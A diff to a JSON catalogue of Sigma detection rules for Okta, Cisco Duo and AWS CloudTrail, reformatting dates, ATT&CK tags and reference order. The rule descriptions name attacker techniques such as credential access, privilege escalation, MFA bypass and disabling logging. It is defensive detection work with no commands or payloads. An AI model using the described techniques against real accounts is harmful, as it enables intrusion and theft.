+ "creation_date": "2023-09-07", "falsepositive": [ "When an admin creates a new, authorised identity provider." ], @@ -88606,7 +88902,7 @@ "description": "Detects when an the Administrator role is assigned to an user or group.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Administrator roles could be assigned to users or group by other admin users." ], @@ -88615,8 +88911,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml" ], "tags": [ @@ -88640,7 +88936,7 @@ "description": "Detects access to Okta admin functions through proxy.", "meta": { "author": "Muhammad Faisal @faisalusuf", - "creation_date": "2023/10/25", + "creation_date": "2023-10-25", "falsepositive": [ "False positives are expected if administrators access these function through proxy legitimatly. Apply additional filters if necessary" ], @@ -88649,13 +88945,13 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://www.beyondtrust.com/blog/entry/okta-support-unit-breach", "https://dataconomy.com/2023/10/23/okta-data-breach/", "https://blog.cloudflare.com/how-cloudflare-mitigated-yet-another-okta-compromise/", + "https://www.beyondtrust.com/blog/entry/okta-support-unit-breach", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_activity_from_proxy_query.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "9058ca8b-f397-4fd1-a9fa-2b7aad4d6309", @@ -88665,7 +88961,7 @@ "description": "Detects new user account creation", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/10/25", + "creation_date": "2023-10-25", "falsepositive": [ "Legitimate and authorized user creation" ], @@ -88678,7 +88974,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_created.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "b6c718dd-8f53-4b9f-98d8-93fdca966969", @@ -88688,7 +88984,7 @@ "description": "Detects when a user has potentially entered their password into the\nusername field, which will cause the password to be retained in log files.\n", "meta": { "author": "kelnage", - "creation_date": "2023/04/03", + "creation_date": "2023-04-03", "falsepositive": [ "Unlikely" ], @@ -88697,13 +88993,13 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://help.okta.com/en-us/Content/Topics/users-groups-profiles/usgp-create-character-restriction.htm", - "https://www.mitiga.io/blog/how-okta-passwords-can-be-compromised-uncovering-a-risk-to-user-data", "https://developer.okta.com/docs/reference/api/system-log/", + "https://www.mitiga.io/blog/how-okta-passwords-can-be-compromised-uncovering-a-risk-to-user-data", + "https://help.okta.com/en-us/Content/Topics/users-groups-profiles/usgp-create-character-restriction.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_password_in_alternateid_field.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552" ] }, @@ -88723,7 +89019,7 @@ "description": "Detects when an application is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Unknown" ], @@ -88732,8 +89028,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml" ], "tags": [ @@ -88747,7 +89043,7 @@ "description": "Detects when a API Token is revoked.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Unknown" ], @@ -88756,8 +89052,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml" ], "tags": [ @@ -88771,7 +89067,7 @@ "description": "Detects when an Okta end-user reports activity by their account as being potentially suspicious.", "meta": { "author": "kelnage", - "creation_date": "2023/09/07", + "creation_date": "2023-09-07", "falsepositive": [ "If an end-user incorrectly identifies normal activity as suspicious." ], @@ -88785,7 +89081,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_suspicious_activity_enduser_report.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1586.003" ] }, @@ -88805,7 +89101,7 @@ "description": "Detects when an security threat is detected in Okta.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Unknown" ], @@ -88814,13 +89110,13 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", - "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", "https://developer.okta.com/docs/reference/api/system-log/", + "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml" ], "tags": [ - "attack.command_and_control" + "attack.command-and-control" ] }, "uuid": "5c82f0b9-3c6d-477f-a318-0e14a1df73e0", @@ -88830,7 +89126,7 @@ "description": "Detects when an application Sign-on Policy is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Unknown" ], @@ -88839,8 +89135,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml" ], "tags": [ @@ -88854,7 +89150,7 @@ "description": "Detects when a API token is created", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Legitimate creation of an API token by authorized users" ], @@ -88863,8 +89159,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml" ], "tags": [ @@ -88878,7 +89174,7 @@ "description": "Detects when an user account is locked out.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Unknown" ], @@ -88887,8 +89183,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml" ], "tags": [ @@ -88912,7 +89208,7 @@ "description": "Detects when an Network Zone is Deactivated or Deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Unknown" ], @@ -88921,8 +89217,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml" ], "tags": [ @@ -88936,7 +89232,7 @@ "description": "Detects when Okta identifies new activity in the Admin Console.", "meta": { "author": "kelnage", - "creation_date": "2023/09/07", + "creation_date": "2023-09-07", "falsepositive": [ "When an admin begins using the Admin Console and one of Okta's heuristics incorrectly identifies the behavior as being unusual." ], @@ -88950,7 +89246,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_new_behaviours_admin_console.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078.004" ] }, @@ -88970,7 +89266,7 @@ "description": "Detects when Okta FastPass prevents a known phishing site.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2023/05/07", + "creation_date": "2023-05-07", "falsepositive": [ "Unlikely" ], @@ -88979,13 +89275,13 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://sec.okta.com/fastpassphishingdetection", - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://sec.okta.com/fastpassphishingdetection", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_fastpass_phishing_detection.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566" ] }, @@ -89005,7 +89301,7 @@ "description": "Detects when a new admin role assignment is created. Which could be a sign of privilege escalation or persistence", "meta": { "author": "Nikita Khalimonenkov", - "creation_date": "2023/01/19", + "creation_date": "2023-01-19", "falsepositive": [ "Legitimate creation of a new admin role assignment" ], @@ -89014,8 +89310,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assignment_created.yml" ], "tags": [ @@ -89029,7 +89325,7 @@ "description": "Detects when unauthorized access to app occurs.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "User might of believe that they had access." ], @@ -89038,8 +89334,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml" ], "tags": [ @@ -89053,7 +89349,7 @@ "description": "Detects when an Okta policy is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/12", + "creation_date": "2021-09-12", "falsepositive": [ "Okta Policies being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -89064,8 +89360,8 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml" ], "tags": [ @@ -89079,7 +89375,7 @@ "description": "Detects when an attempt at deactivating or resetting MFA.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/21", + "creation_date": "2021-09-21", "falsepositive": [ "If a MFA reset or deactivated was performed by a system administrator." ], @@ -89088,14 +89384,14 @@ "logsource.category": "No established category", "logsource.product": "okta", "refs": [ - "https://developer.okta.com/docs/reference/api/event-types/", "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml" ], "tags": [ "attack.persistence", - "attack.credential_access", - "attack.defense_evasion", + "attack.credential-access", + "attack.defense-evasion", "attack.t1556.006" ] }, @@ -89115,7 +89411,7 @@ "description": "Detects when an Okta user session starts where the user is behind an anonymising proxy service.", "meta": { "author": "kelnage", - "creation_date": "2023/09/07", + "creation_date": "2023-09-07", "falsepositive": [ "If a user requires an anonymising proxy due to valid justifications." ], @@ -89129,7 +89425,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_session_start_via_anonymised_proxy.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.006" ] }, @@ -89149,7 +89445,7 @@ "description": "Detects when a successful MFA authentication occurs due to the use of a bypass code.\nA bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as \"backup codes,\" so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can't use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems.\n", "meta": { "author": "Nikita Khalimonenkov", - "creation_date": "2024/04/17", + "creation_date": "2024-04-17", "falsepositive": [ "Legitimate user that was assigned on purpose to a bypass group" ], @@ -89163,9 +89459,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/cisco/duo/cisco_duo_mfa_bypass_via_bypass_code.yml" ], "tags": [ - "attack.credential_access", - "attack.defense_evasion", - "attack.initial_access" + "attack.credential-access", + "attack.defense-evasion", + "attack.initial-access" ] }, "uuid": "6f7e1c10-2dc9-4312-adb6-9574ff09a5c8", @@ -89175,7 +89471,7 @@ "description": "Detects that network ACL entries have been added to a route table which could indicate that new attack vectors have been opened up in the AWS account.\n", "meta": { "author": "jamesc-grafana", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "Legitimate use of ACLs to enable customer and staff access from the public internet into a public VPC" ], @@ -89188,7 +89484,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_new_acl_entries.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -89208,7 +89504,7 @@ "description": "Identifies when an ElastiCache security group has been modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], @@ -89241,7 +89537,7 @@ "description": "Detects an instance of an SES identity being deleted via the \"DeleteIdentity\" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities", "meta": { "author": "Janantha Marasinghe", - "creation_date": "2022/12/13", + "creation_date": "2022-12-13", "falsepositive": [ "Unknown" ], @@ -89254,7 +89550,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_delete_identity.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070" ] }, @@ -89274,7 +89570,7 @@ "description": "Detects AWS root account usage", "meta": { "author": "vitaliy0x1", - "creation_date": "2020/01/21", + "creation_date": "2020-01-21", "falsepositive": [ "AWS Tasks That Require AWS Account Root User Credentials https://docs.aws.amazon.com/general/latest/gr/aws_tasks-that-require-root.html" ], @@ -89287,7 +89583,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_root_account_usage.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1078.004" ] }, @@ -89307,7 +89603,7 @@ "description": "Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "GetSessionToken may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. GetSessionToken from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], @@ -89316,13 +89612,13 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://github.com/elastic/detection-rules/pull/1213", "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html", + "https://github.com/elastic/detection-rules/pull/1213", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sts_getsessiontoken_misuse.yml" ], "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", + "attack.lateral-movement", + "attack.privilege-escalation", "attack.t1548", "attack.t1550", "attack.t1550.001" @@ -89358,7 +89654,7 @@ "description": "Detects when an account makes changes to the ingress or egress rules of a security group.\nThis can indicate that an attacker is attempting to open up new attack vectors in the account, that they are trying to exfiltrate data over the network, or that they are trying to allow machines in that VPC/Subnet to contact a C&C server.\n", "meta": { "author": "jamesc-grafana", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "New VPCs and Subnets being setup requiring a different security profile to those already defined", "A single port being opened for a new service that is known to be deploying", @@ -89373,7 +89669,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_security_group_change_ingress_egress.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -89393,7 +89689,7 @@ "description": "Detects possible suspicious glue development endpoint activity.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/10/03", + "creation_date": "2021-10-03", "falsepositive": [ "Glue Development Endpoint Activity may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "If known behavior is causing false positives, it can be exempted from the rule." @@ -89408,7 +89704,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_passed_role_to_glue_development_endpoint.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "4990c2e3-f4b8-45e3-bc3c-30b14ff0ed26", @@ -89418,7 +89714,7 @@ "description": "Detects when a EFS Fileshare Mount is modified or deleted. An adversary breaking any file system using the mount target that is being deleted, which might disrupt instances or applications using those mounts.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/15", + "creation_date": "2021-08-15", "falsepositive": [ "Unknown" ], @@ -89451,7 +89747,7 @@ "description": "Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.", "meta": { "author": "faloker", - "creation_date": "2020/02/12", + "creation_date": "2020-02-12", "falsepositive": [ "Unknown" ], @@ -89484,7 +89780,7 @@ "description": "Identifies when an EKS cluster is created or deleted.", "meta": { "author": "Austin Songer", - "creation_date": "2021/08/16", + "creation_date": "2021-08-16", "falsepositive": [ "EKS Cluster being created or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -89519,7 +89815,7 @@ "description": "Detects the addition of a new network route to a route table in AWS.\n", "meta": { "author": "jamesc-grafana", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "New VPC Creation requiring setup of a new route table", "New subnets added requiring routing setup" @@ -89533,7 +89829,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_new_route_added.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -89553,7 +89849,7 @@ "description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.", "meta": { "author": "Austin Songer", - "creation_date": "2021/09/22", + "creation_date": "2021-09-22", "falsepositive": [ "Automated processes that uses Terraform may lead to false positives.", "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", @@ -89569,11 +89865,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_susp_saml_activity.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1548", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1550", "attack.t1550.001" ] @@ -89615,7 +89911,7 @@ "description": "Looks for potential enumeration of AWS buckets via ListBuckets.", "meta": { "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", - "creation_date": "2023/01/06", + "creation_date": "2023-01-06", "falsepositive": [ "Administrators listing buckets, it may be necessary to filter out users who commonly conduct this activity." ], @@ -89650,7 +89946,7 @@ "description": "Detects S3 Browser utility creating IAM User or AccessKey.", "meta": { "author": "daniel.bohannon@permiso.io (@danielhbohannon)", - "creation_date": "2023/05/17", + "creation_date": "2023-05-17", "falsepositive": [ "Valid usage of S3 Browser for IAM User and/or AccessKey creation" ], @@ -89692,7 +89988,7 @@ "description": "Detects AWS API key creation for a user by another user.\nBackdoored users can be used to obtain persistence in the AWS environment.\nAlso with this alert, you can detect a flow of AWS keys in your org.\n", "meta": { "author": "faloker", - "creation_date": "2020/02/12", + "creation_date": "2020-02-12", "falsepositive": [ "Adding user keys to their own accounts (the filter cannot cover all possible variants of user naming)", "AWS API keys legitimate exchange workflows" @@ -89726,7 +90022,7 @@ "description": "Detects when an ElastiCache security group has been created.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "A ElastiCache security group may be created by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security group creations from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], @@ -89767,7 +90063,7 @@ "description": "Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.", "meta": { "author": "Elastic, Austin Songer @austinsonger", - "creation_date": "2021/07/22", + "creation_date": "2021-07-22", "falsepositive": [ "A domain transfer lock may be disabled by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Activity from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], @@ -89776,14 +90072,14 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/integrations/aws/persistence_route_53_domain_transfer_lock_disabled.toml", + "https://docs.aws.amazon.com/Route53/latest/APIReference/API_Operations_Amazon_Route_53.html", "https://docs.aws.amazon.com/Route53/latest/APIReference/API_domains_DisableDomainTransferLock.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_route_53_domain_transferred_lock_disabled.yml" ], "tags": [ "attack.persistence", - "attack.credential_access", + "attack.credential-access", "attack.t1098" ] }, @@ -89803,7 +90099,7 @@ "description": "Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function's IAM role for AWS API calls.\nThis would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.\n", "meta": { "author": "Austin Songer", - "creation_date": "2021/09/23", + "creation_date": "2021-09-23", "falsepositive": [ "Lambda Layer being attached may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Lambda Layer being attached from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." @@ -89817,7 +90113,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_attached_malicious_lambda_layer.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "97fbabf8-8e1b-47a2-b7d5-a418d2b95e3d", @@ -89827,7 +90123,7 @@ "description": "Identifies disabling of default Amazon Elastic Block Store (EBS) encryption in the current region.\nDisabling default encryption does not change the encryption status of your existing volumes.\n", "meta": { "author": "Sittikorn S", - "creation_date": "2021/06/29", + "creation_date": "2021-06-29", "falsepositive": [ "System Administrator Activities", "DEV, UAT, SAT environment. You should apply this rule with PROD account only." @@ -89869,7 +90165,7 @@ "description": "Detects when a EFS Fileshare is modified or deleted.\nYou can't delete a file system that is in use.\nIf the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.\n", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/15", + "creation_date": "2021-08-15", "falsepositive": [ "Unknown" ], @@ -89892,7 +90188,7 @@ "description": "Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "AssumeRole may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "AssumeRole from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule.", @@ -89903,13 +90199,13 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html", "https://github.com/elastic/detection-rules/pull/1214", + "https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sts_assumerole_misuse.yml" ], "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", + "attack.lateral-movement", + "attack.privilege-escalation", "attack.t1548", "attack.t1550", "attack.t1550.001" @@ -89945,7 +90241,7 @@ "description": "Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider.\nA change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation.\n", "meta": { "author": "Michael McIntyre @wtfender", - "creation_date": "2023/09/27", + "creation_date": "2023-09-27", "falsepositive": [ "Authorized changes to the AWS account's identity provider" ], @@ -89954,8 +90250,8 @@ "logsource.category": "No established category", "logsource.product": "aws", "refs": [ - "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsiamidentitycentersuccessortoawssinglesign-on.html", "https://docs.aws.amazon.com/singlesignon/latest/userguide/app-enablement.html", + "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsiamidentitycentersuccessortoawssinglesign-on.html", "https://docs.aws.amazon.com/singlesignon/latest/userguide/sso-info-in-cloudtrail.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_sso_idp_change.yml" ], @@ -89980,7 +90276,7 @@ "description": "Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.", "meta": { "author": "faloker", - "creation_date": "2020/02/11", + "creation_date": "2020-02-11", "falsepositive": [ "Valid change in the GuardDuty (e.g. to ignore internal scanners)" ], @@ -89993,7 +90289,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_guardduty_disruption.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -90013,7 +90309,7 @@ "description": "Detects when a request has been made to transfer a Route 53 domain to another AWS account.", "meta": { "author": "Elastic, Austin Songer @austinsonger", - "creation_date": "2021/07/22", + "creation_date": "2021-07-22", "falsepositive": [ "A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], @@ -90027,7 +90323,7 @@ ], "tags": [ "attack.persistence", - "attack.credential_access", + "attack.credential-access", "attack.t1098" ] }, @@ -90047,7 +90343,7 @@ "description": "Detects the modification of an EC2 snapshot's permissions to enable access from another account", "meta": { "author": "Darin Smith", - "creation_date": "2021/05/17", + "creation_date": "2021-05-17", "falsepositive": [ "Valid change to a snapshot's permissions" ], @@ -90080,7 +90376,7 @@ "description": "Detects disabling, deleting and updating of a Trail", "meta": { "author": "vitaliy0x1", - "creation_date": "2020/01/21", + "creation_date": "2020-01-21", "falsepositive": [ "Valid change in a Trail" ], @@ -90093,7 +90389,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_disable_logging.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -90113,7 +90409,7 @@ "description": "Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.", "meta": { "author": "daniel.bohannon@permiso.io (@danielhbohannon)", - "creation_date": "2023/05/17", + "creation_date": "2023-05-17", "falsepositive": [ "Valid usage of S3 Browser for IAM LoginProfile listing and/or creation" ], @@ -90155,7 +90451,7 @@ "description": "Detects when an instance identity has taken an action that isn't inside SSM.\nThis can indicate that a compromised EC2 instance is being used as a pivot point.\n", "meta": { "author": "jamesc-grafana", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "A team has configured an EC2 instance to use instance profiles that grant the option for the EC2 instance to talk to other AWS Services" ], @@ -90165,13 +90461,13 @@ "logsource.product": "aws", "refs": [ "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-identity-roles.html", - "https://ermetic.com/blog/aws/aws-ec2-imds-what-you-need-to-know/", "https://www.packetmischief.ca/2023/07/31/amazon-ec2-credential-exfiltration-how-it-happens-and-how-to-mitigate-it/#lifting-credentials-from-imds-this-is-why-we-cant-have-nice-things", + "https://ermetic.com/blog/aws/aws-ec2-imds-what-you-need-to-know/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_imds_malicious_usage.yml" ], "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1078", "attack.t1078.002" ] @@ -90199,7 +90495,7 @@ "description": "Detect when System Manager successfully executes commands against an instance.\n", "meta": { "author": "jamesc-grafana", - "creation_date": "2024/07/11", + "creation_date": "2024-07-11", "falsepositive": [ "There are legitimate uses of SSM to send commands to EC2 instances", "Legitimate users may have to use SSM to perform actions against machines in the Cloud to update or maintain them" @@ -90213,7 +90509,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_ssm_malicious_usage.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1566", "attack.t1566.002" ] @@ -90241,7 +90537,7 